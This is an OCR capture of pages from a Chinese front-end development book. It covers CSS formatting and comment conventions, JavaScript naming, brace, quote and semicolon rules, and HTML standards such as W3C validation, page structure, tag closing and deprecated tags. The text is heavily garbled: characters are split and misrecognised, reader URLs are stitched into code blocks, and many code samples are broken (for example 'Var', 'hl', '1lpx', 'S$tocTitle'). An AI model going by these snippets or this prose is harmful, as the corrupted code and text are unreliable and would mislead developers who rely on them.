background: #FFF; 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 








多 个 选择 器 具有 相同 的 样式 声明 时 ， 每 个 选择 器 应 该 单独 占 一 行 ， 便 于 阅读 和 维护 。 





不 推荐 示例 : 





人 多 个 选择 器 具有 相同 的 样式 声明 时 ， 所 有 选择 器 放置 于 同一 行 */ 
1， ， { 

font-weight: normal; 

line-height: 1.2; 





推荐 示例 : 





/* 推 荐 示例 ， 多 个 选择 器 具有 相同 的 样式 声明 时 ， 每 个 选择 器 应 该 单独 占 一 行 */ 
hl， 
h2， 
h3 { 
font-weight: normal; 
line-height: 1.2; 
} 












































样式 声明 的 顺序 按 字母 顺序 排列 ， 不 考虑 浏览 器 前 级 。 单 纯 靠 手 写 代码 并 保证 样式 声明 按照 一 定 的 顺序 是 不 现实 的 。 建 议 使 用 一 些 CSS 美 化 工 











示例 代码 : 


做 样式 声明 排序 的 工作 。 





/* 样 式 声明 的 顺序 以 字母 序 排列 */ 
.reader-content-title { 
background: #FFF; 
border: 1lpx solid; 
-moz-border-radius: 4px; 
—webkit-border-radius: 4px; 
border-radius: 4px; 
color: black; 
text-align: center; 











样式 定义 按照 模块 来 分 组 ， 相 同 模块 的 样式 定义 放 在 一 起 ， 不 同 模块 的 定义 之 间 





一 个 空 行 分 割 。 





示例 代码 : 





/* reader header*/ 
.reader-header-title { 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 


.reader-header-introduce { 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 


/*reader footer*/ 
.reader-footer-copyright { 

http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
} 
.reader-footer-links { 

http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
} 

















CSS 中 的 注释 非常 重要 ， 能 对 CSS 样 式 起 到 解释 和 说 明 的 作 | 
































， 提 高 了 CSS 代 码 的 可 读 性 。 有 些 开发 者 可 能 担心 添加 过 多 的 注释 会 让 CSS 文 件 行 数 增多 ， 其 实 不 








担心 ， 可 以 在 发 布 网 站 的 时 候 对 CSS 文 


件 进行 压缩 ， 这 个 过 程 中 会 去 掉 所 有 的 注释 。 在 CSS 样 式 文件 中 添加 注释 主要 有 两 种 类 型 : 文件 头 部 的 文件 信息 注释 和 正文 中 的 解释 说 明 性 注释 。 文 件 信息 一 般 包 括 文件 版 本 、 版 权 信息 以 及 作者 等 ; 解释 





说 明 性 的 注释 有 给 模块 的 注释 和 单独 给 选择 器 的 注释 ， 模 块 的 注释 则 需 











示例 代码 : 


添加 注释 表明 模块 样式 定义 的 开始 和 结束 ，CSS 选 择 器 的 注释 需要 添加 在 选择 器 的 上 一 行 ， 而 不 是 和 选择 器 相同 一 行 。 





人 ,注释 规范 说 明 : 文件 头 部 的 文件 信息 注释 */ 


* reader content v1.0 


* Copyright 2012 


* Dual licensed under the MIT or GPL Version 2 licenses. 


* Designed and built by dangjian 
/* 注释 规范 说 明 : 模块 样式 定义 的 开始 和 结束 */ 


/* Content containers start */ 
/* 注释 规范 说 明 : 注释 需要 添加 在 选择 器 的 上 一 行 ， 而 不 是 和 选择 器 相同 一 行 */ 
/* content title */ 
.reader-content-title { 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 





} 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
/* Content containers end */ 





2.6.3 Javascript 命 名 规范 及 格式 规范 























部 变量 命名 采用 首 字 母 小 写 ， 其 他 单词 首 字母 大 写 的 方式 。 命 名 时 建议 采用 有 意义 的 单词 命名 ， 不 推荐 使 






































单词 缩写 命名 ， 变 量 以 缩 








JavaScript 局 











写 命名 则 降低 了 其 可 读 性 。 如 果 认 为 变量 名 太 长 而 使 javaScript 脚 本 文件 变 大 ， 则 可 以 在 发 布 阶段 通过 JavaScript 脚 本 混淆 压缩 等 手段 来 缩小 文件 。 





不 推荐 示例 : 


标识 变量 类 型 的 前 经， 如 int、str、obj 等 。 不 推荐 使 





// 不 推荐 示例 : 变量 命名 首 字母 大 写 
Var ReaderBookmark = "bookmark'7 
// 不 推荐 示例 : 本 二 全 全， 全 


Var _ ob 一 7 
// 不 推荐 示例 Ee 命名 以 类 天 型 作为 前 级 
"Note' 


Var strName = 
// 不 推荐 示例 : 变量 命名 使 用 语义 不 明确 的 缩写 


Var newNT = function(){ 








} 


推荐 示例 : 


// 推荐 示例 : 变量 命名 语义 明确 


Var bookmarkDefaultTitle = "Untitled Bookmark'; 























现在 流行 JavaScript 的 面向 对 象 编程 ， 那 么 就 会 有 公有 或 私有 接口 的 概念 。 原 则 上 公有 接口 的 命名 为 首 字母 大 写 ， 私 有 接口 的 命名 为 首 字母 小 写 。 
示例 代码 : 
Reader.Content = function(){ 

// 私有 变量 

var info, title; 

// 私有 方法 


Var getContent = function(){ 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
}; 
Se, 
公有 方 法 
A function (contentTitle){ 
title = contentTitle; 


/ 公有 属性 
ContentInfo: 
} 
10; 


info 











jQuery 框架 在 项 目 中 使 





量 添加 “$” 作 为 前 缀 。 





泛 ， 推 荐 给 jQuery 类 型 变量 


示例 代码 : 


Var S$tocTitle = $('.reader-toc-title'); 



























































左 大 括号 应 该 在 行 的 结束 位 置 ， 而 不 应 该 单独 一 行 ， 因 为 这 样 增加 了 不 必要 的 行 数 。 应 该 一 直 使 用 大 括号 括 起 逻辑 块 ， 即 使 允 辑 只 有 一 行 ， 也 应 该 用 大 括号 括 起 来 ， 以 
性 。 
示例 代码 : 


便 提高 代码 的 可 读 性 和 可 维护 





// 左 大 括号 应 该 在 行 的 结束 位 置 ， 而 不 应 该 单独 一 行 



























































































































































for (var i=0; i<100; i++) { 
doSomething (i); 
} 
// 应 该 一 直 使 用 大 括号 括 起 逻辑 块 ， 即 使 逻辑 只 有 一 行 
var isFound = false; 
if (statement) { 
isFound = true; 
} 
Javascript 中 可 以 用 单 引号 或 者 双 引 号 定义 字符 串 ， 但 是 因为 习惯 于 定义 HTML 的 元 素 属性 值 时 使 用 双 引 号 ， 而 JavaScript 中 又 经 常 包含 HTML 代 码 ， 所 以 字符 串 定义 使 用 单 引号 也 可 方便 于 在 字符 串 内 
部 包含 含有 双 引 号 的 HTML 代 码 。 
示例 代码 : 
Var content = '<span id="main content">..'; 
空格 的 作用 是 提高 代码 的 可 读 性 ， 在 函数 参数 的 逗号 后 面 使 用 一 个 空格 ， 在 操作 符 前 后 各 使 用 一 个 空格 。 另 外 ， 使 用 一 个 空 行 来 区 分 业务 逻辑 段 。 
示例 代码 : 





doSomething (myChar, 0, 1); 
while (x === y){ 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 


i 








Javascript 语 句 结束 时 应 该 添加 一 个 分 号 。 语 句 结束 是 否 添加 分 号 这 个 话题 曾经 引起 很 大 的 讨论 ， 大 名 昂 见 的 Bootstrap 框 架 中 的 Javascript 语 名 结束 就 没有 添加 分 号 
分 号 ， 这 里 有 必要 简单 介绍 一 下 在 行 尾 推 荐 添加 分 号 的 理由 。 首 先 来 看 看 JavaScript 是 如 何 看 待 分 号 的 。JavaScript 有 自动 插入 
号 ,但 是 如 果 语 句 的 下 一 行 以 “[ 、“(" “/” 开 头 则 不 会 在 此 语句 后 面 添加 分 号 。 看 似 合理 的 设计 ， 但 其 实 如 果 应 
加 分 号 而 导致 的 逻辑 错误 。 


























2 














错误 示例 : 


》 号 的 算法 ， 在 没有 添加 分 号 的 JavaScript 语 句 的 结束 处 会 
不 愤 就 会 导致 一 些 莫名 其 妙 的 错误 ， 如 下 这 个 示例 是 由 于 


。 著 名 的 框架 都 不 在 语句 行 尾 添加 
自动 添加 一 个 分 
自动 添 









































IE 


{ 











按照 自动 添加 分 号 的 算法 ， 会 在 return 后 面 添加 一 个 分 号 ， 代 码 等 价 于 : 

















// return 后 面 会 添加 一 个 分 号 
return ; 
{ 
a+b 
E 




















其 结果 自然 会 返回 undefined， 而 不 是 期 望 的 值 。 其 实 这 个 诡异 的 问题 可 以 通过 规定 左 大 括号 必须 放置 在 前 一 个 语句 结尾 处 的 方式 来 解决 。 





上 面 的 例子 是 在 不 想 添加 分 号 的 地 方 被 自动 添加 了 分 号 ， 而 下 面 的 例子 则 是 因为 没有 在 该 添加 分 号 的 地 方 添加 分 号 而 导致 的 逻辑 错误 。 











错误 示例 : 


Var b = function(){ 
return function () {return 1} 
} 
var a=b 
(function(){ 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
]) 0 





根据 自动 添加 分 号 的 算法 ，“var a=b” 这 行 语句 的 后 一 行 代码 以 左 小 括号 开头 ,不 会 为 这 行 语句 自动 添加 分 号 ， 此 行 代码 等 价 于 : 








var b = function(){ 
return function() {return 1} 
} 
Var a = bl(function(){ 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
D0 





这 完全 背离 了 代码 表达 的 初 训 。 当 然 ， 可 以 给 以 “[”、 ”(”、“+”、““-”、 ““/” 开 头 的 语句 前 添加 一 个 分 号 来 避免 出 现 这 样 的 逻辑 错误 ,但 是 这 也 是 一 种 “丑陋 ”的 方案 。 








JavaScript 这 种 有 缺陷 的 自动 添加 分 号 的 算法 希望 开发 者 格外 小 心 。 开 发 者 明白 这 些 缺 陷 则 有 助 于 在 实际 的 开发 过 程 中 避免 犯错 误 。 尽 管 在 语句 结尾 添加 分 号 和 不 添加 分 号 都 会 有 一 些 问题 存在 ,但 是 





考虑 到 大 多 数 开发 者 已 有 的 习惯 ,还 是 建议 给 语句 的 结尾 添加 分 号 。 






























































行 ， 而 不 是 写 在 和 代码 相同 一 行 的 右边 。 和 CSS 代 码 的 注释 规范 相似 ，JavaScript 代 码 的 注释 主要 也 是 文件 信息 注释 和 代码 多 辑 注释 。 


示例 代码 : 


因为 JavaScript 代 码 在 前 端 中 是 逻辑 性 最 强 的 ， 所 以 需要 添加 足够 的 注释 来 保证 代码 的 可 读 性 。 在 JavaScript 代 码 中 ， 如 果 注 释 示 占有 多 行 ， 那 么 建议 使 用 //， 不 推荐 使 用 /*/。 注 释 应 该 单独 占用 一 





/* 文件 头 部 的 文件 信息 注释 */ 
i 
* reader content v1.0 


* Copyright 2012 
* Dual licensed under the MIT or GPL Version 2 licenses. 
* Designed and built by dangjian 
Ny 
Reader.Content = (function(){ 
return { 
// reader 初 始 化 


Init: function(){ 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 


二 部 分 HTML 最 佳 实践 
“第 3 章 ”标准 的 HTML 代 码 


“第 4 章 ”高 可 读 性 的 HTML 


“第 5 章 ”积极 拥抱 HTML5 


第 3 章 标准 的 HTML 代 码 























标准 的 HTML 代 码 指 的 是 HTML 代 码 符合 W3C 的 最 新 标准 ， 而 在 页 面 的 HTML 代 码 中 包含 有 任何 规范 之 外 的 或 者 是 不 推荐 的 标签 和 属性 都 是 不 符合 标准 的 。W3C 定 义 了 所 有 规范 的 HTML 标 签 及 











局 


性 ， 目 前 正式 的 版 本 是 HTML5，HTML5 中 定义 的 大 部 分 内 容 已 经 被 所 有 的 高 级 浏览 器 支持 ， 所 以 并 不 妨碍 在 页 面 中 使 用 这 些 已 经 广泛 被 支持 的 新 标签 和 新 属性 。 本 章 将 贴近 W3C 标 准 ， 介 绍 如 何 构建 标准 


的 页 面 HTML 代 码 。 





3.1 “验证 代码 是 否 符合 标准 





一 个 符合 W3C 标 准 的 网 页 会 有 什么 重要 的 意义 呢 ? 这 是 一 个 讨论 了 很 多 年 的 话题 ， 虽 然 有 很 多 人 在 强调 Web 标 准 的 重要 性 ， 可 是 比较 遗憾 的 是 这 个 话题 并 没有 引起 足够 的 重视 ， 甚 至 有 一 些 大 的 互 




















公司 的 官方 网 站 也 很 难 通过 W3C 标 准 的 检查 。 除 了 一 些 客观 历史 原因 (如 页 面 建立 的 时 间 久 远 、 页 面 维护 成 本 等 ) 之 外 ， 我 想 这 主要 是 前 端 技术 还 不 够 成 熟 的 表现 ， 只 关注 页 面 外 在 的 表现 而 忽略 了 页 

































































身 代码 的 质量 。 这 些 大 的 互联 网 公司 的 网 站 都 没有 起 到 带头 的 作用 ， 其 他 的 一 些 网 站 的 页 面 代码 质量 就 可 想 而 知 了 。 因 此 ， 在 讨论 页 面 标准 化 之 前 ， 先 来 说 说 一 个 标准 的 页 面具 有 哪些 优点 。 














1. 标 准 的 页 面 会 保证 浏览 器 正确 地 演 染 


尽管 主流 浏览 器 有 很 好 的 纠 错 能 力 ， 使 得 一 些 错误 并 不 会 影响 页 面 的 显示 ， 但 是 不 同 的 浏览 器 处 理 错 误 的 方式 不 尽 相 同 ， 很 难保 证 所 有 平台 的 所 有 客户 端 都 能 正确 地 兼容 不 规范 的 或 者 错误 的 代码 。 而 
使 用 符合 标准 的 HTML 标 签 和 CSS 样 式 ， 能 最 大 限度 地 保证 页 面 在 不 同 浏览 器 正常 地 进行 解析 ， 同 时 还 能 最 大 限度 地 保证 在 未 来 的 各 种 客户 端 中 正常 解析 。 








2. 网 页 能 更 容易 被 搜索 引擎 搜寻 ， 提 高 网 站 的 搜索 排名 





这 一 个 优点 是 大 家 反复 提 到 的 。 随 着 搜索 引擎 的 普及 ， 越 来 越 多 的 用 户 从 各 种 搜索 引擎 中 查询 需要 的 信息 ， 网 站 的 维护 者 也 是 想 尽 各 种 办 法 来 提高 在 搜索 引擎 中 的 排名 ， 从 而 提高 网 站 的 用 户 访问 量 。 
据 统计 ， 编 写 标准 的 页 面 基本 上 完成 了 一 半 的 搜索 引擎 优 化 工作 。 各 搜索 引擎 使 用 的 网 络 “ 吟 虫 ” 不 同 于 Web 浏 览 器 ，“ 巾 虫 ”的 目的 是 读 懂 网 站 的 内 容 ， 并 找 出 网 站 中 的 关键 字 。 良 好 的 页 面 结构 可 以 帮 
助 搜索 引擎 准确 地 理解 网 站 的 内 容 ， 比 如 合理 使 用 标题 标签 <h1> 到 <h6>、 设 置 <img> 标 签 中 的 alt 属 性 、 选 择 更 标准 且 更 有 语义 化 的 标签 等 。 网 络 “ 有 候 虫 ”会 根据 标签 的 语义 和 标签 上 的 一 些 属性 值 来 判 
断 标签 的 内 容 所 要 表达 的 意思 。 
































3 .提高 网 站 的 易 用 性 














提高 网 站 的 易 用 性 指 的 是 让 网 站 能 被 更 多 的 用 户 访问 ， 尤 其 是 被 一 些 视力 或 者 肢体 障碍 用 户 等 所 访问 。 美 国 的 某 些 地 方 甚至 有 专门 的 法 律 来 要 求 发 布 的 网 站 必须 要 达到 一 定 的 易 用 性 。 这 样 就 可 让 那些 
特殊 用 户 通过 辅助 的 设备 来 阅读 网 站 ， 这 些 辅助 设备 只 会 关注 页 面 中 的 主要 内 容 ， 并 把 内 容 以 独特 的 形式 (如 通过 语音 阅读 等 ) 传达 给 用 户 。 而 符合 标准 的 HTML 和 CSS 组 成 的 网 页 则 会 让 辅助 设备 更 容易 识 
别 ， 更 准确 地 提取 页 面 的 主体 内 容 。 









































4 .网 页 更 好 维护 和 扩展 





这 一 点 是 针对 网 页 开发 的 。W3C 的 Web 标 准 是 被 普遍 接受 的 标准 ， 页 面 的 多 个 开发 者 如 果 遵循 统一 的 标准 ， 则 会 更 好 地 理解 和 维护 已 有 的 页 面 。 标 签 、 样 式 以 及 行为 分 离 的 标准 页 面 显然 具有 好 的 扩展 
性 。 








既然 标准 页 面 有 这 么 多 的 好 处 ， 那 么 在 前 端的 页 面 开 发 中 如 何 做 到 编写 的 代码 符合 标准 呢 ? 编写 标准 的 页 面 代码 ， 首 先 要 熟悉 标准 。W3C 定 义 了 很 多 相关 的 标签 、 样 式 和 行为 标准 ， 开 发 者 只 有 深刻 地 
理解 了 这 些 标准 ， 才 能 编写 出 高 质量 的 前 端 页 面 代码 。 除 此 之 外 ， 最 直接 有 效 的 方式 是 使 用 工具 来 持续 验证 页 面 代码 (主要 是 HTML 和 CSS 代 码 ) 的 标准 性 。 














早 在 2009 年 ， 在 W3C 的 社区 中 出 现 过 一 项 有 关 是 否 需要 验证 页 面 的 调查 [1]， 结 果 是 大 部 分 人 赞成 验证 ， 并 且 有 很 多 理由 来 说 明 验 证 页 面 代码 的 好 处 。 除 了 包括 如 上 标准 页 面 本 身 的 优点 之 外 ， 验 证 页 面 
的 过 程 也 使 得 开发 者 提高 了 自身 的 技术 技能 和 职业 素养 。 下 面 是 常用 的 页 面 验证 方式 。 


验证 页 面 代码 最 直接 的 方式 是 用 W3C 提 供 的 一 项 免费 的 验证 服务 W3Validatorl 外 。 它 提供 了 3 种 验证 方式 : URL、 文 件 上 传 、 直 接 输入 代码 ( 见 图 3-1) 。 


Markup Validation Service 


nock tne markup (HTML, XHTNL, ...) of Web documonts 








Validate by URI Valldate by File Upload Validate by Direct Input 


Validate by URI 
Validate a document online: 





Address: 


v More Options 





Character Encoding ldetect automatically) +) [Onlyifmissing 
Document Type +4] DOnlyitmissing 
® List Messages Sequentially Group Error Messages by Type 

_ Show Source _J Clean up Markup with HTML-Tidy 


_ Show Outline _) Validate error pages [ Verbose Output 


his validator checks the markup validity of Web documents in HTML XHTML, SMIL, MathML, etc. If you wish to vallidate specific content such as RSS/Atom feeds or CSS stylesheets, MoblleOK content, or to 
nd broken links, there are other validators and icols available. As an alternative you can also try our non-DTD-based validator. 

















3-1 W3 Validator 工 具 使 用 界面 








它 验 证 的 结果 非常 详细 ， 每 项 错误 或 者 警告 都 有 对 应 的 解释 ， 因 此 它 也 是 不 错 的 学 习 工具 。 它 的 缺点 是 不 够 方便 ， 尤 其 是 在 开发 过 程 中 需要 持续 验证 的 情况 下 。 个 人 推荐 使 用 的 工具 是 HTML 


Validator， 它 是 一 个 Firefox 浏 览 器 的 插件 ， 其 方便 之 处 在 于 可 以 在 查看 页 面 的 同时 验证 页 面 。 此 插件 的 核心 是 基于 一 个 开源 的 项 目 HTML TidyBI， 是 由 W3C 的 Dave Raggett 开 发 的 。HTML Tidy 相 比 于 
W3Validator 验 证 ， 强 大 的 地 方 在 于 它 不 仅 验 证 代码 是 否 标准 ， 还 会 自动 纠正 和 美化 代码 。 单 击 图 3-2 右 侧 的 “Clean up the page” 按钮 ， 就 可 以 美化 页 面 的 代码 。 

















W<IDOCTYPE html> 


Source of http:/ /www.dang-jian.com/ 


<meta chorset="utf-8" /> 

<meto content=' 党 建 "nome="author" /> 

<meta content="oll name= Tobots /> 

<meto http-equiv='X-UA-Compotible' content="IE=IE8"/> 
<meto conten= 党 吕 的 个 人 网 站 name= descipiion' 人 > ， 


Line Column 


HTML erors and warnings 


17 errors 1 4 wamings 


ED 








Line 342, Col 11 


W3c Online Validation 

Bad value X-UA-Compatible for attribure hrrp-equiv on elernent mera. 

The border attribute 15 obsolere. Consider specifying Img | border: 0; ] In CSS instead. 
€& did not start a character reference. 位 probabiy should have been escaped as &amp;.) 
& dd not start a character reference. 他 probably should have been escaped as &amp;) 
& did not start a character reference. 他 probably should have been escaped as &amp;) 
& Old not start a character reference. 他 probably should have been escaped as &amp;.) 
& did not start a character reference. (& probaby should have been escaped as &amp;,) 
& clld not start a character reference. {& probaby should have been escaped as &amp;,) 
& dd not start a character reference. 他 orobably should have been escaped as &amp;.) 
€& did not start a character reference. (& probabN should have been escaped as &ampz) 
& did not start a character reference. (& probably should have been escaped as &amp;) 
€ did not start a character reference. (& probably should have been escaped as &amp;.) 
& dld not start a character reference. (& DrobabN should have been escaped as &amp;.) 
& did not start n character reference. (& probabiy should have been escaped as &amp;,) 
Bad value 4000x for attribute heinht pn element iframe; Exnected a dioit but smw 9 inste,,. 


HTML Valldator 

There is no help for ths waming/oror meseage 
Solution 

You are welcome to contribute. Use the Htmlpedia button above to edit the help It will be included in next versions of the exionsicn 
References. 


Extension hamepage: htip /iusers skynet bamouery/mostal 


Htmlpedia: hitpyhwww himipoda. cro/ 





图 3-2 HTML Tidy 工 具 使 用 界面 


需要 强调 的 是 ， 验 证 页 面 并 不 能 保证 开发 者 编写 高 质量 的 代码 。 验 证 页 面 的 代码 就 像 在 写 文章 的 过 程 中 检查 错别字 以 及 语法 错误 一 样 ， 目 的 只 是 找到 页 面 中 直观 的 错误 。 页 面 代码 符合 标准 只 是 基本 要 
求 ， 编 写 高 质量 的 页 面 代码 ， 还 要 注意 很 多 细节 ， 后 续 的 章节 会 详细 讨论 如 何 编写 高 质量 的 页 面 代码 。 


[1] http://www.w3.0rg/ QA/2009/01/valid_sites_work_better.html 
[2] http://validator.w3.0rg 


[B] http://www.w3.0rg/People/Raggett/tidy 


3.2 ”标准 的 HTML 页 面 结构 


每 个 HTML 文 档 都 会 包括 两 个 部 分 : 
</html> 包 含 在 一 起 ， 可 见 一 个 基本 的 HTML 文 档 结构 就 是 : 


“head” 和 “body”。head 部 分 是 以 <head> 开 始 并 以 </head> 结 束 的 ,而 body 部 分 是 以 <body> 开 始 并 以 </body> 结 束 的 。 


这 两 个 部 分 由 一 对 <html>.… 





<html> 
<head> 
</head> 
<body> 
</body> 

</html> 














head 部 分 包含 整个 文档 的 一 些 基本 信息 ， 如 网 站 的 编码 格式 、 网 站 的 标题 、 网 站 引 


为 了 使 得 HTML 文 档 能 兼容 标准 格式 ， 








HTML4 的 规范 中 定义 了 多 个 规范 的 文档 声明 ， 如 下 是 一 个 典型 的 使 





示例 : 























的 样式 和 脚本 等 。body 部 分 包含 用 户 在 浏览 器 中 看 到 的 内 容 。 





还 需要 给 文档 添加 一 个 文档 类 型 声明 (DTD) ， 当 浏览 器 解析 HTML 文 档 时 会 遵循 指定 的 类 型 声明 标准 。 





<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 





在 HTML5 的 规范 中 简化 了 文档 类 型 声明 ， 省 略 了 DTD 的 引用 ， 表 明文 档 以 标准 模式 解析 ， 示 例 代码 如 下 : 





<!DOCTYPE html> 








因为 浏览 器 可 以 识别 HTML5 规 定 的 这 种 声明 ， 所 以 只 要 HTML 文 档 的 内 容 够 规范 就 不 用 担心 浏览 器 是 否 能 识别 。 





head 部 分 包含 文档 的 标题 ， 文 档 的 标题 是 作为 站 点 的 名 称 和 简短 描述 显示 在 浏览 器 的 标题 栏 上 的 ， 示 例 代码 如 下 : 





<title> 网 站 标题 </title> 

















如 果 引 





示例 代码 : 


JavaScript 和 CSS 外 部 文件 ， 则 需要 把 外 部 文件 的 链接 添加 到 head 部 分 。 





<link rel="stylesheet" type="text/css" href="my style.css" /> 











此 外 ，head 部 分 还 会 包含 一 些 必要 的 meta 标 签 ， 是 对 HTML 文 档 内 容 的 描述 ， 上 








来 表明 文档 的 编码 、 关 键 字 、 介 绍 、 作 者 等 信息 。 





示例 代码 : 





<meta name="keywords" content="HTML， web" /> _ 
<meta name="description"” content=" 一 个 展示 HTML 页 面 的 例子 ” /> 








body 部 分 则 包含 所 有 在 浏览 器 上 展示 的 内 容 ， 如 文本 、 图 片 、 表 格 、 音 视频 等 。 





示例 代码 : 





<a href="/news">News</a> 
<img src="green.jpeg" alt="Green" /> 
<video src="tgif.vid" autoplay onerror="failed (event)"></video> 

















综合 这 些 页 面 的 主要 组 成 部 分 来 看 ， 一 个 稍微 完善 的 页 面 会 具有 如 下 类 似 的 结构 











<!DOCTYPE html> 
<html> 
<head> 
<meta charset="utf-8"> 
<title>Sample page</title> 
<link rel="stylesheet" href="my style.css" /> 
</head> 
<body> 
<hl>Sample Page</h1> 
<p>This is a <a href="demo.html">simple</a> sample.</p> 
<!-- this is a Comment --> 
</body> 
</html> 


3.3 ”正确 闭合 HTML 标 签 




















HTML 元 素 的 内 容 模型 定义 了 元 素 的 结构 ， 表 明 元 素 可 以 包含 哪些 内 容 以 及 元 素 可 以 有 哪些 属性 。 元 素 可 以 包含 的 内 容 包 括 其 他 元 素 和 字符 ， 但 是 也 有 一 些 元 素 是 空 元 素 ， 即 不 能 包含 任何 内 容 ， 这 些 











元 素 对 应 的 HTML 标 签 也 称 为 自 闭 合 标签 ， 下 面 列 出 了 HTML 中 所 有 的 自 闭合 标签 : area、base、br、col、command、embed、hr、img、input、keygen、link、meta、param、source、track、wbr 









































W3C 制 定 了 多 个 版 本 的 HTML 规 范 ， 目 前 流行 的 HTML 规 范 有 XHTML 1.0、HTML 4.01 和 HTML5。 规 范 中 规定 了 所 有 HTML 标 签 的 语法 ， 其 中 规定 非 自 闭合 标签 必须 有 开始 标签 和 结束 标签 ， 而 自 闭合 





























标签 没有 闭合 标签 。 示 例 代 码 如 下 : 


<!-- 非 自 闭合 标签 必须 有 开始 和 结束 标签 --> 

<a href="demo. " title="demo">simple</a> 
<!-- 自 闭合 标签 必须 没有 结束 标签 --> 

<img src="demo.png" alt="demo" /> 











有 关 自 闭合 标签 中 是 否 应 该 添加 符号 “/”， 在 XHTML 1.0、HTML 4.01 和 HTML5 的 规范 中 稍 有 不 同 。XHTML 的 规范 最 严格 ， 必 须 在 自 闭合 标签 中 添加 “/” 来 表明 标签 的 结束 。 在 HTML 4.01 的 规范 
不 推荐 在 自 闭合 标签 中 添加 “/”。 而 HTML5 最 宽松 ， 自 闭合 标签 添加 “/” 和 不 添加 “/” 都 符合 规范 ， 在 自 闭合 标签 中 添加 符号 “/” 是 可 选 的 。 示 例 代 码 如 下 : 




















法 符合 XHTML 1.0、HTML 4.01 和 HTML5 的 规范 ， 但 在 HTML4 中 不 推荐 --> 
mo.png" alt="demo" /> 

不 符合 XHTML 1.0 规 范 ， 但 符合 HTML 4.01 和 HTML5 的 规范 --> 

<img src="demo.png" alt="demo"> 















如 下 的 这 几 种 写法 不 符合 规范 ， 应 该 严格 禁止 : 









<!-- 错误 : 非 自 闭 合 桔 有 结 末 全 儿 Fe 
simple</a> 
亲人 -> 
<a href="demo.html" title="demo ss 

si=-- 畏 误 * 自 闭 合 标签 使 用 非 自 闭合 标签 的 语法 -> 


<img src="demo.png" alt="demo"></img> 














当 元 素 的 起 始 标签 和 结束 标签 不 在 同一 个 元 素 的 内 容 中 时 ， 则 会 出 现 交 叉 说 套 。 应 该 严格 禁止 标签 之 间 的 交叉 谋 套 。 





下 面 的 例子 中 起 始 标签 “<span>” 在 元 素 div 的 内 容 中 ， 而 结束 标签 “</span>” 则 在 div 元 素 的 内 容 之 外 。 


<!-- 错误 : 起 始 标签 "<span>" 在 元 素 div 的 内 容 中 ， 结 束 标签 "</span>" 则 在 div 元 素 的 内 容 之 外 --> 
<div>foo <span>bar</div>baz</span> 














一 般 通 过 编写 层次 缩 进 良 好 的 HTML 代 码 能 够 最 大 化 地 避免 出 现 这 样 交叉 说 套 的 错误 代码 。 





3.4 “停止 使 用 不 标准 的 标签 和 属性 ， 简 化 HTML 代 码 














W3C 在 制定 的 HTML4 和 HTML5 标 准 中 有 独立 的 章节 来 说 明 哪 些 是 不 被 推荐 的 标签 和 属性 ， 这 些 标签 和 属性 是 Web 互 联网 发 展 早期 HTML 标 准 混乱 和 浏览 器 “各 自 为 政 ”的 产物 ， 有 些 标签 甚至 使 用 率 

















颇 高 ， 比 如 滚动 效果 标签 <marquee> ， 尽 管 在 现在 看 来 其 效果 不 好 ， 但 在 当时 几乎 所 有 的 网 站 都 会 使 用 这 样 的 效果 ， 风 摩 一 时 。 但 是 随 着 Web 互 联网 的 飞速 发 展 ， 人 们 对 Web 的 认识 也 逐渐 提高 ， 也 开始 
关注 如 何 让 网 页 HTML 代 码 更 统一 、 更 简洁 、 更 易 理 解 等 ， 不 在 局 限于 单纯 的 外 观 。 在 此 过 程 中 ， 一 些 标签 和 属性 逐渐 被 更 好 的 方案 代替 ， 这 些 标签 也 不 被 标准 所 推荐 ， 甚 至 是 从 标准 规范 中 移 除 ， 有 些 特 
性 在 浏览 器 中 也 不 被 继续 支持 。 从 这 些 标签 和 属性 的 作用 来 看 ， 导 致 不 被 推荐 的 原因 主要 有 如 下 几 个 。 
























































(1) 标签 没有 实际 的 语义 ， 仪 仅 是 用 于 设置 样式 
































不 推荐 使 用 单纯 设置 样式 的 标签 ， 如 basefont、big、center、font 等 。 应 该 通过 CSS 设 置 样式 ， 让 HTML 标 签 功能 更 单一 。 不 推荐 的 示例 如 下 : 























<!-- 不 推荐 代码 : 不 推荐 使 用 单纯 设置 样式 的 标签 ， 应 该 通过 Css 设置 样式 --> 
<font color=blue>don't use it!</font> 

<big>don't use it!</pig> 

<center>don't use it!</center> 








不 推荐 在 HTML 标 签 中 添加 样式 属性 ， 如 iframe、img、input、div 等 标签 中 的 align 属 性 ，body 标 签 上 的 background 属 性 ，td 和 tr 标签 上 的 height、width、nowrap、bgcolor、valign 等 属 



























































性 ，iframe 标 签 中 的 frameborder、marginheight、scrolling 等 属性 。 此 类 属性 应 该 废弃 ， 并 通过 添加 CSS 样 式 来 实现 相同 的 效果 。 不 推荐 的 示例 如 下 : 

<! 一 不 推荐 代码 : 标签 中 添加 border、width、height 等 样式 属性 --> 

<img src="#" alt="demo" border="1" width="194" height="37" /> 

<div id="focusViwer" align=center></div> 

不 推荐 使 用 <blink> 或 <marquee> ( 闪 动 或 滚动 ) 。 这 两 个 标签 的 职能 已 经 超出 了 HTML 本 身 ， 并 且 也 存在 浏览 器 的 兼容 问题 。 以 如 今 的 审美 来 说 ， 这 两 个 标签 实现 的 效果 不 佳 ， 如 果 一 定 要 这 样 的 效 
